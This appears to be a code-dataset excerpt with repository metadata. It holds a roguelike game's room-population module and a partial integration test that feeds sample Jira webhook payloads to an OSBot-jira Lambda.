2020-03-25T10:30:31.000Z
|
2020-03-25T20:13:43.000Z
|
factories/rooms.py
|
joehowells/two-button-berserker
|
ec92c0870fb9ee975530d6a92c1b96634040ebc4
|
[
"MIT"
] | null | null | null |
from random import shuffle, randint
from typing import List, Any, Optional
from ecs.components.map import Map
from ecs.components.player import Player
from factories.entities import make_trap, make_player, make_stairs
from factories.items import get_item_factory, make_weapon, make_armour
from factories.map import Room
from factories.monsters import get_monster_factory, make_mid_boss, make_end_boss
def make_player_room(game_map: Map, entities: List[List[Any]], room: Room, player: Optional[Player] = None) -> None:
cells = [(x, y) for x, y, in room.cells if game_map.walkable[y][x]]
shuffle(cells)
x, y = cells.pop()
entities.append(make_player(x, y, player))
def make_stairs_room(game_map: Map, entities: List[List[Any]], room: Room) -> None:
cells = [(x, y) for x, y, in room.cells if game_map.walkable[y][x]]
shuffle(cells)
x, y = cells.pop()
entities.append(make_stairs(x, y))
def make_enemy_room(game_map: Map, entities: List[List[Any]], room: Room, level: int = 0) -> None:
cells = [(x, y) for x, y, in room.cells if game_map.walkable[y][x]]
shuffle(cells)
for _ in range(randint(2, 8)):
if not cells:
break
x, y = cells.pop()
factory = get_monster_factory(level)
entity = factory(x, y)
entities.append(entity)
def make_trap_room(game_map: Map, entities: List[List[Any]], room: Room, level: int = 0) -> None:
cells = [(x, y) for x, y, in room.cells if game_map.walkable[y][x]]
shuffle(cells)
for _ in range(randint(2, 8)):
if not cells:
break
x, y = cells.pop()
factory = get_monster_factory(level)
entity = make_trap(x, y, factory)
entities.append(entity)
for _ in range(randint(1, 2)):
if not cells:
break
x, y = cells.pop()
factory = get_monster_factory(level)
entity = factory(x, y)
entities.append(entity)
def make_item_room(game_map: Map, entities: List[List[Any]], room: Room, level: int = 0) -> None:
cells = [(x, y) for x, y, in room.cells if game_map.walkable[y][x]]
shuffle(cells)
for _ in range(randint(1, 2)):
if not cells:
break
x, y = cells.pop()
factory = get_item_factory()
entity = factory(x, y)
entities.append(entity)
for _ in range(randint(2, 4)):
if not cells:
break
x, y = cells.pop()
factory = get_monster_factory(level)
entity = factory(x, y)
entities.append(entity)
def make_weapon_room(game_map: Map, entities: List[List[Any]], room: Room, level: int = 0) -> None:
cells = [(x, y) for x, y, in room.cells if game_map.walkable[y][x]]
shuffle(cells)
if not cells:
return
x, y = cells.pop()
entity = make_weapon(x, y)
entities.append(entity)
for _ in range(randint(1, 2)):
if not cells:
break
x, y = cells.pop()
factory = get_monster_factory(level + 1)
entity = factory(x, y)
entities.append(entity)
def make_armour_room(game_map: Map, entities: List[List[Any]], room: Room, level: int = 0) -> None:
cells = [(x, y) for x, y, in room.cells if game_map.walkable[y][x]]
shuffle(cells)
if not cells:
return
x, y = cells.pop()
entity = make_armour(x, y)
entities.append(entity)
for _ in range(randint(1, 2)):
if not cells:
break
x, y = cells.pop()
factory = get_monster_factory(level + 1)
entity = factory(x, y)
entities.append(entity)
def make_mid_boss_room(game_map: Map, entities: List[List[Any]], room: Room, level: int = 0) -> None:
cells = [(x, y) for x, y, in room.cells if game_map.walkable[y][x]]
shuffle(cells)
if not cells:
return
x, y = cells.pop()
entity = make_mid_boss(x, y)
entities.append(entity)
for _ in range(randint(2, 4)):
if not cells:
break
x, y = cells.pop()
factory = get_monster_factory(level)
entity = factory(x, y)
entities.append(entity)
def make_end_boss_room(game_map: Map, entities: List[List[Any]], room: Room, level: int = 0) -> None:
cells = [(x, y) for x, y, in room.cells if game_map.walkable[y][x]]
shuffle(cells)
if not cells:
return
x, y = cells.pop()
entity = make_end_boss(x, y)
entities.append(entity)
for _ in range(randint(2, 4)):
if not cells:
break
x, y = cells.pop()
factory = get_monster_factory(level)
entity = factory(x, y)
entities.append(entity)
| 27.435294
| 116
| 0.604417
| 692
| 4,664
| 3.947977
| 0.07948
| 0.035139
| 0.038433
| 0.054905
| 0.822108
| 0.822108
| 0.822108
| 0.81735
| 0.81735
| 0.81735
| 0
| 0.007923
| 0.269297
| 4,664
| 169
| 117
| 27.597633
| 0.793721
| 0
| 0
| 0.795082
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.07377
| false
| 0
| 0.065574
| 0
| 0.172131
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
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| 0
| 0
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| 1
| 0
| 0
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| null | 0
| 0
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| 0
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| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fb28d892eb423e1fd98b334474d879d65a1970f1
| 37,690
|
py
|
Python
|
tests/integration/lambdas/test_on_jira_change.py
|
pbx-gs/OSBot-jira
|
7677afee1f80398ddcccd6b45423bf6adc20b970
|
[
"Apache-2.0"
] | 1
|
2021-04-02T05:58:23.000Z
|
2021-04-02T05:58:23.000Z
|
tests/integration/lambdas/test_on_jira_change.py
|
pbx-gs/OSBot-jira
|
7677afee1f80398ddcccd6b45423bf6adc20b970
|
[
"Apache-2.0"
] | 1
|
2021-09-03T09:55:39.000Z
|
2021-09-03T09:55:39.000Z
|
tests/integration/lambdas/test_on_jira_change.py
|
filetrust/OSBot-jira
|
d753fff59cf938cf94a51bf8bc7981691524b686
|
[
"Apache-2.0"
] | 2
|
2021-04-02T05:58:29.000Z
|
2021-09-03T09:43:29.000Z
|
from osbot_utils.utils.Dev import Dev
from gw_bot.Deploy import Deploy
from osbot_aws.apis.Lambda import Lambda
from osbot_aws.helpers.Test_Helper import Test_Helper
from osbot_jira.lambdas.on_jira_change import run
class test_lambda_gsbot_gs_jira(Test_Helper):
def setUp(self):
super().setUp()
self.lambda_name = 'osbot_jira.lambdas.on_jira_change'
self.aws_lambda = Lambda(self.lambda_name)
self.result = None
def tearDown(self):
if self.result is not None:
Dev.pprint(self.result)
def test_lambda_update(self):
Deploy().deploy_lambda__jira(self.lambda_name)
def test_lambda_update_and_invoke(self):
self.test_lambda_update()
payload = {'an_field' : 42}
self.result = self.aws_lambda.invoke(payload)
def test_direct_invoke_issue_link_deleted(self):
body = '{"timestamp":1580287523796,"webhookEvent":"jira:issue_deleted","user":{"self":"https://glasswall.atlassian.net/rest/api/2/user?accountId=5dee69782c44a60edee17525","accountId":"5dee69782c44a60edee17525","avatarUrls":{"48x48":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=48&s=48","24x24":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=24&s=24","16x16":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=16&s=16","32x32":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=32&s=32"},"displayName":"Dinis Cruz","active":true,"timeZone":"America/Chicago","accountType":"atlassian"},"issue":{"id":"10977","self":"https://glasswall.atlassian.net/rest/api/2/10977","key":"TASK-23","fields":{"statuscategorychangedate":"2020-01-28T18:45:58.098-0600","customfield_10070":null,"fixVersions":[],"resolution":null,"lastViewed":"2020-01-28T18:49:45.745-0600","customfield_10060":null,"customfield_10061":null,"customfield_10062":null,"customfield_10063":null,"customfield_10065":null,"customfield_10066":null,"customfield_10067":null,"priority":{"self":"https://glasswall.atlassian.net/rest/api/2/priority/3","iconUrl":"https://glasswall.atlassian.net/images/icons/priorities/medium.svg","name":"Medium","id":"3"},"customfield_10068":null,"customfield_10069":null,"labels":[],"timeestimate":null,"aggregatetimeoriginalestimate":null,"versions":[],"issuelinks":[],"assignee":null,"status":{"self":"https://glasswall.atlassian.net/rest/api/2/status/1","description":"The issue is open and ready for the assignee to start work on it.","iconUrl":"https://glasswall.atlassian.net/images/icons/statuses/open.png","name":"Open","id":"1","statusCategory":{"self":"https://glasswall.atlassian.net/rest/api/2/statuscategory/2","id":2,"key":"new","colorName":"blue-gray","name":"To Do"}},"components":[],"customfield_10050":null,"customfield_10051":null,"customfield_10052":null,"customfield_10053":null,"customfield_10054":null,"customfield_10055":null,"customfield_10056":null,"customfield_10057":null,"customfield_10058":null,"customfield_10059":null,"customfield_10049":null,"aggregatetimeestimate":null,"creator":{"self":"https://glasswall.atlassian.net/rest/api/2/user?accountId=5dee69782c44a60edee17525","name":"dcruz","key":"dcruz","accountId":"5dee69782c44a60edee17525","avatarUrls":{"48x48":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=48&s=48","24x24":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=24&s=24","16x16":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=16&s=16","32x32":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=32&s=32"},"displayName":"Dinis Cruz","active":true,"timeZone":"America/Chicago","accountType":"atlassian"},"subtasks":[],"customfield_10040":null,"customfield_10041":null,"customfield_10042":null,"customfield_10043":null,"reporter":{"self":"https://glasswall.atlassian.net/rest/api/2/user?accountId=5dee69782c44a60edee17525","name":"dcruz","key":"dcruz","accountId":"5dee69782c44a60edee17525","avatarUrls":{"48x48":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=48&s=48","24x24":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=24&s=24","16x16":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=16&s=16","32x32":"https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=32&s=32"},"displayName":"Dinis Cruz","active":true,"timeZone":"America/Chicago","accountType":"atlassian"},"aggregateprogress":{"progress":0,"total":0},"customfield_10044":null,"customfield_10045":[],"customfield_10046":null,"customfield_10047":null,"customfield_10048":null,"customfield_10038":null,"progress":{"progress":0,"total":0},"votes":{"self":"https://glasswall.atlassian.net/rest/api/2/issue/TASK-23/votes","votes":0,"hasVoted":false},"worklog":{"startAt":0,"maxResults":20,"total":0,"worklogs":[]},"issuetype":{"self":"https://glasswall.atlassian.net/rest/api/2/issuetype/10001","id":"10001","description":"A small, distinct piece of work.","iconUrl":"https://glasswall.atlassian.net/secure/viewavatar?size=medium&avatarId=10541&avatarType=issuetype","name":"Task","subtask":false,"avatarId":10541},"timespent":null,"customfield_10030":0.0,"customfield_10031":0.0,"project":{"self":"https://glasswall.atlassian.net/rest/api/2/project/10000","id":"10000","key":"TASK","name":"Tasks","projectTypeKey":"business","simplified":false,"avatarUrls":{"48x48":"https://glasswall.atlassian.net/secure/projectavatar?pid=10000&avatarId=10519","24x24":"https://glasswall.atlassian.net/secure/projectavatar?size=small&s=small&pid=10000&avatarId=10519","16x16":"https://glasswall.atlassian.net/secure/projectavatar?size=xsmall&s=xsmall&pid=10000&avatarId=10519","32x32":"https://glasswall.atlassian.net/secure/projectavatar?size=medium&s=medium&pid=10000&avatarId=10519"}},"customfield_10032":1.0,"customfield_10033":null,"customfield_10034":null,"aggregatetimespent":null,"customfield_10035":null,"customfield_10036":null,"customfield_10037":null,"customfield_10028":0.0,"customfield_10029":0.0,"resolutiondate":null,"workratio":-1,"watches":{"self":"https://glasswall.atlassian.net/rest/api/2/issue/TASK-23/watchers","watchCount":1,"isWatching":true},"created":"2020-01-28T18:45:57.987-0600","customfield_10020":null,"customfield_10021":null,"customfield_10022":null,"customfield_10023":null,"customfield_10016":null,"customfield_10017":null,"customfield_10018":{"hasEpicLinkFieldDependency":false,"showField":false,"nonEditableReason":{"reason":"PLUGIN_LICENSE_ERROR","message":"Portfolio for Jira must be licensed for the Parent Link to be available."}},"customfield_10019":"0|i005vb:","updated":"2020-01-29T02:42:10.538-0600","timeoriginalestimate":null,"description":"aaaaaa","customfield_10010":null,"customfield_10014":null,"timetracking":{},"customfield_10015":null,"customfield_10005":null,"customfield_10006":null,"customfield_10007":null,"security":null,"customfield_10008":null,"attachment":[],"customfield_10009":null,"summary":"Test task 123","customfield_10000":"{}","customfield_10001":null,"customfield_10002":null,"customfield_10003":null,"customfield_10004":null,"environment":null,"duedate":null,"comment":{"comments":[],"maxResults":0,"total":0,"startAt":0}}}}'
payload = {'body': body}
self.result = run(payload, {})
def test_data(self):
data = {
"timestamp": 1580257954906,
"webhookEvent": "jira:issue_updated",
"issue_event_type_name": "issue_updated",
"user": {
"self": "https://glasswall.atlassian.net/rest/api/2/user?accountId=5dee69782c44a60edee17525",
"accountId": "5dee69782c44a60edee17525",
"avatarUrls": {
"48x48": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=48&s=48",
"24x24": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=24&s=24",
"16x16": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=16&s=16",
"32x32": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=32&s=32"
},
"displayName": "Dinis Cruz",
"active": True,
"timeZone": "America/Chicago",
"accountType": "atlassian"
},
"issue": {
"id": "10105",
"self": "https://glasswall.atlassian.net/rest/api/2/10105",
"key": "SQUAD-10",
"fields": {
"statuscategorychangedate": "2019-12-09T20:47:41.025-0600",
"customfield_10070": None,
"fixVersions": [
],
"resolution": None,
"lastViewed": "2020-01-28T18:29:20.997-0600",
"customfield_10060": None,
"customfield_10061": None,
"customfield_10062": None,
"customfield_10063": None,
"customfield_10065": None,
"customfield_10066": None,
"customfield_10067": None,
"priority": {
"self": "https://glasswall.atlassian.net/rest/api/2/priority/3",
"iconUrl": "https://glasswall.atlassian.net/images/icons/priorities/medium.svg",
"name": "Medium",
"id": "3"
},
"customfield_10068": None,
"customfield_10069": None,
"labels": [
"needs-description"
],
"aggregatetimeoriginalestimate": None,
"timeestimate": None,
"versions": [
],
"issuelinks": [
{
"id": "10155",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLink/10155",
"type": {
"id": "10018",
"name": "Outcome",
"inward": "has outcome",
"outward": "is outcome of",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLinkType/10018"
},
"inwardIssue": {
"id": "10126",
"key": "OUTCOME-3",
"self": "https://glasswall.atlassian.net/rest/api/2/issue/10126",
"fields": {
"summary": "Implement Security Projects that align with CISO objectives",
"status": {
"self": "https://glasswall.atlassian.net/rest/api/2/status/10009",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/images/icons/statuses/generic.png",
"name": "Draft",
"id": "10009",
"statusCategory": {
"self": "https://glasswall.atlassian.net/rest/api/2/statuscategory/2",
"id": 2,
"key": "new",
"colorName": "blue-gray",
"name": "To Do"
}
},
"priority": {
"self": "https://glasswall.atlassian.net/rest/api/2/priority/3",
"iconUrl": "https://glasswall.atlassian.net/images/icons/priorities/medium.svg",
"name": "Medium",
"id": "3"
},
"issuetype": {
"self": "https://glasswall.atlassian.net/rest/api/2/issuetype/10010",
"id": "10010",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/secure/viewavatar?size=medium&avatarId=10539&avatarType=issuetype",
"name": "Outcome",
"subtask": False,
"avatarId": 10539
}
}
}
},
{
"id": "10252",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLink/10252",
"type": {
"id": "10016",
"name": "Squad - Developer",
"inward": "has squad developer",
"outward": "is squad developer of",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLinkType/10016"
},
"inwardIssue": {
"id": "10037",
"key": "PERSON-17",
"self": "https://glasswall.atlassian.net/rest/api/2/issue/10037",
"fields": {
"summary": "Max Bussell",
"status": {
"self": "https://glasswall.atlassian.net/rest/api/2/status/10006",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/images/icons/statuses/generic.png",
"name": "Active",
"id": "10006",
"statusCategory": {
"self": "https://glasswall.atlassian.net/rest/api/2/statuscategory/4",
"id": 4,
"key": "indeterminate",
"colorName": "yellow",
"name": "In Progress"
}
},
"priority": {
"self": "https://glasswall.atlassian.net/rest/api/2/priority/3",
"iconUrl": "https://glasswall.atlassian.net/images/icons/priorities/medium.svg",
"name": "Medium",
"id": "3"
},
"issuetype": {
"self": "https://glasswall.atlassian.net/rest/api/2/issuetype/10003",
"id": "10003",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/secure/viewavatar?size=medium&avatarId=10512&avatarType=issuetype",
"name": "Person",
"subtask": False,
"avatarId": 10512
}
}
}
},
{
"id": "10249",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLink/10249",
"type": {
"id": "10016",
"name": "Squad - Developer",
"inward": "has squad developer",
"outward": "is squad developer of",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLinkType/10016"
},
"inwardIssue": {
"id": "10039",
"key": "PERSON-19",
"self": "https://glasswall.atlassian.net/rest/api/2/issue/10039",
"fields": {
"summary": "Lewis Henderson",
"status": {
"self": "https://glasswall.atlassian.net/rest/api/2/status/10006",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/images/icons/statuses/generic.png",
"name": "Active",
"id": "10006",
"statusCategory": {
"self": "https://glasswall.atlassian.net/rest/api/2/statuscategory/4",
"id": 4,
"key": "indeterminate",
"colorName": "yellow",
"name": "In Progress"
}
},
"priority": {
"self": "https://glasswall.atlassian.net/rest/api/2/priority/3",
"iconUrl": "https://glasswall.atlassian.net/images/icons/priorities/medium.svg",
"name": "Medium",
"id": "3"
},
"issuetype": {
"self": "https://glasswall.atlassian.net/rest/api/2/issuetype/10003",
"id": "10003",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/secure/viewavatar?size=medium&avatarId=10512&avatarType=issuetype",
"name": "Person",
"subtask": False,
"avatarId": 10512
}
}
}
},
{
"id": "10952",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLink/10952",
"type": {
"id": "10016",
"name": "Squad - Developer",
"inward": "has squad developer",
"outward": "is squad developer of",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLinkType/10016"
},
"inwardIssue": {
"id": "10041",
"key": "PERSON-21",
"self": "https://glasswall.atlassian.net/rest/api/2/issue/10041",
"fields": {
"summary": "Abbas Haidar",
"status": {
"self": "https://glasswall.atlassian.net/rest/api/2/status/10006",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/images/icons/statuses/generic.png",
"name": "Active",
"id": "10006",
"statusCategory": {
"self": "https://glasswall.atlassian.net/rest/api/2/statuscategory/4",
"id": 4,
"key": "indeterminate",
"colorName": "yellow",
"name": "In Progress"
}
},
"priority": {
"self": "https://glasswall.atlassian.net/rest/api/2/priority/3",
"iconUrl": "https://glasswall.atlassian.net/images/icons/priorities/medium.svg",
"name": "Medium",
"id": "3"
},
"issuetype": {
"self": "https://glasswall.atlassian.net/rest/api/2/issuetype/10003",
"id": "10003",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/secure/viewavatar?size=medium&avatarId=10512&avatarType=issuetype",
"name": "Person",
"subtask": False,
"avatarId": 10512
}
}
}
},
{
"id": "10251",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLink/10251",
"type": {
"id": "10016",
"name": "Squad - Developer",
"inward": "has squad developer",
"outward": "is squad developer of",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLinkType/10016"
},
"inwardIssue": {
"id": "10046",
"key": "PERSON-26",
"self": "https://glasswall.atlassian.net/rest/api/2/issue/10046",
"fields": {
"summary": "Harry Georgiou",
"status": {
"self": "https://glasswall.atlassian.net/rest/api/2/status/10006",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/images/icons/statuses/generic.png",
"name": "Active",
"id": "10006",
"statusCategory": {
"self": "https://glasswall.atlassian.net/rest/api/2/statuscategory/4",
"id": 4,
"key": "indeterminate",
"colorName": "yellow",
"name": "In Progress"
}
},
"priority": {
"self": "https://glasswall.atlassian.net/rest/api/2/priority/3",
"iconUrl": "https://glasswall.atlassian.net/images/icons/priorities/medium.svg",
"name": "Medium",
"id": "3"
},
"issuetype": {
"self": "https://glasswall.atlassian.net/rest/api/2/issuetype/10003",
"id": "10003",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/secure/viewavatar?size=medium&avatarId=10512&avatarType=issuetype",
"name": "Person",
"subtask": False,
"avatarId": 10512
}
}
}
},
{
"id": "10250",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLink/10250",
"type": {
"id": "10016",
"name": "Squad - Developer",
"inward": "has squad developer",
"outward": "is squad developer of",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLinkType/10016"
},
"inwardIssue": {
"id": "10047",
"key": "PERSON-27",
"self": "https://glasswall.atlassian.net/rest/api/2/issue/10047",
"fields": {
"summary": "Jonathon Green",
"status": {
"self": "https://glasswall.atlassian.net/rest/api/2/status/10006",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/images/icons/statuses/generic.png",
"name": "Active",
"id": "10006",
"statusCategory": {
"self": "https://glasswall.atlassian.net/rest/api/2/statuscategory/4",
"id": 4,
"key": "indeterminate",
"colorName": "yellow",
"name": "In Progress"
}
},
"priority": {
"self": "https://glasswall.atlassian.net/rest/api/2/priority/3",
"iconUrl": "https://glasswall.atlassian.net/images/icons/priorities/medium.svg",
"name": "Medium",
"id": "3"
},
"issuetype": {
"self": "https://glasswall.atlassian.net/rest/api/2/issuetype/10003",
"id": "10003",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/secure/viewavatar?size=medium&avatarId=10512&avatarType=issuetype",
"name": "Person",
"subtask": False,
"avatarId": 10512
}
}
}
},
{
"id": "10141",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLink/10141",
"type": {
"id": "10016",
"name": "Squad - Developer",
"inward": "has squad developer",
"outward": "is squad developer of",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLinkType/10016"
},
"inwardIssue": {
"id": "10071",
"key": "PERSON-51",
"self": "https://glasswall.atlassian.net/rest/api/2/issue/10071",
"fields": {
"summary": "Adam Hewitt",
"status": {
"self": "https://glasswall.atlassian.net/rest/api/2/status/10006",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/images/icons/statuses/generic.png",
"name": "Active",
"id": "10006",
"statusCategory": {
"self": "https://glasswall.atlassian.net/rest/api/2/statuscategory/4",
"id": 4,
"key": "indeterminate",
"colorName": "yellow",
"name": "In Progress"
}
},
"priority": {
"self": "https://glasswall.atlassian.net/rest/api/2/priority/3",
"iconUrl": "https://glasswall.atlassian.net/images/icons/priorities/medium.svg",
"name": "Medium",
"id": "3"
},
"issuetype": {
"self": "https://glasswall.atlassian.net/rest/api/2/issuetype/10003",
"id": "10003",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/secure/viewavatar?size=medium&avatarId=10512&avatarType=issuetype",
"name": "Person",
"subtask": False,
"avatarId": 10512
}
}
}
},
{
"id": "10140",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLink/10140",
"type": {
"id": "10015",
"name": "Squad - Leader",
"inward": "has squad leader",
"outward": "is squad leader of",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLinkType/10015"
},
"inwardIssue": {
"id": "10062",
"key": "PERSON-42",
"self": "https://glasswall.atlassian.net/rest/api/2/issue/10062",
"fields": {
"summary": "Dinis Cruz",
"status": {
"self": "https://glasswall.atlassian.net/rest/api/2/status/10006",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/images/icons/statuses/generic.png",
"name": "Active",
"id": "10006",
"statusCategory": {
"self": "https://glasswall.atlassian.net/rest/api/2/statuscategory/4",
"id": 4,
"key": "indeterminate",
"colorName": "yellow",
"name": "In Progress"
}
},
"priority": {
"self": "https://glasswall.atlassian.net/rest/api/2/priority/3",
"iconUrl": "https://glasswall.atlassian.net/images/icons/priorities/medium.svg",
"name": "Medium",
"id": "3"
},
"issuetype": {
"self": "https://glasswall.atlassian.net/rest/api/2/issuetype/10003",
"id": "10003",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/secure/viewavatar?size=medium&avatarId=10512&avatarType=issuetype",
"name": "Person",
"subtask": False,
"avatarId": 10512
}
}
}
},
{
"id": "11118",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLink/11118",
"type": {
"id": "10029",
"name": "Tribe",
"inward": "has squad",
"outward": "is squad of",
"self": "https://glasswall.atlassian.net/rest/api/2/issueLinkType/10029"
},
"outwardIssue": {
"id": "10614",
"key": "TRIBE-8",
"self": "https://glasswall.atlassian.net/rest/api/2/issue/10614",
"fields": {
"summary": "Glasswall Operations",
"status": {
"self": "https://glasswall.atlassian.net/rest/api/2/status/10005",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/images/icons/status_generic.gif",
"name": "New",
"id": "10005",
"statusCategory": {
"self": "https://glasswall.atlassian.net/rest/api/2/statuscategory/2",
"id": 2,
"key": "new",
"colorName": "blue-gray",
"name": "To Do"
}
},
"priority": {
"self": "https://glasswall.atlassian.net/rest/api/2/priority/3",
"iconUrl": "https://glasswall.atlassian.net/images/icons/priorities/medium.svg",
"name": "Medium",
"id": "3"
},
"issuetype": {
"self": "https://glasswall.atlassian.net/rest/api/2/issuetype/10025",
"id": "10025",
"description": "",
"iconUrl": "https://glasswall.atlassian.net/secure/viewavatar?size=medium&avatarId=10552&avatarType=issuetype",
"name": "Tribe",
"subtask": False,
"avatarId": 10552
}
}
}
}
],
"assignee": {
"self": "https://glasswall.atlassian.net/rest/api/2/user?accountId=5dee69782c44a60edee17525",
"name": "dcruz",
"key": "dcruz",
"accountId": "5dee69782c44a60edee17525",
"avatarUrls": {
"48x48": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=48&s=48",
"24x24": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=24&s=24",
"16x16": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=16&s=16",
"32x32": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=32&s=32"
},
"displayName": "Dinis Cruz",
"active": True,
"timeZone": "America/Chicago",
"accountType": "atlassian"
},
"status": {
"self": "https://glasswall.atlassian.net/rest/api/2/status/10006",
"iconUrl": "https://glasswall.atlassian.net/images/icons/statuses/generic.png",
"name": "Active",
"id": "10006",
"statusCategory": {
"self": "https://glasswall.atlassian.net/rest/api/2/statuscategory/4",
"id": 4,
"key": "indeterminate",
"colorName": "yellow",
"name": "In Progress"
}
},
"components": [
],
"customfield_10050": None,
"customfield_10051": None,
"customfield_10052": None,
"customfield_10053": None,
"customfield_10054": None,
"customfield_10055": None,
"customfield_10056": None,
"customfield_10057": None,
"customfield_10058": None,
"customfield_10059": None,
"customfield_10049": None,
"aggregatetimeestimate": None,
"creator": {
"self": "https://glasswall.atlassian.net/rest/api/2/user?accountId=5dee69782c44a60edee17525",
"name": "dcruz",
"key": "dcruz",
"accountId": "5dee69782c44a60edee17525",
"avatarUrls": {
"48x48": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=48&s=48",
"24x24": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=24&s=24",
"16x16": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=16&s=16",
"32x32": "https://secure.gravatar.com/avatar/cd5c7a867913b97100b706e92add842b?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FDC-3.png&size=32&s=32"
},
"displayName": "Dinis Cruz",
"active": True,
"timeZone": "America/Chicago",
"accountType": "atlassian"
},
"subtasks": [
],
"customfield_10040": None,
"customfield_10041": None,
"customfield_10042": None,
"reporter": {
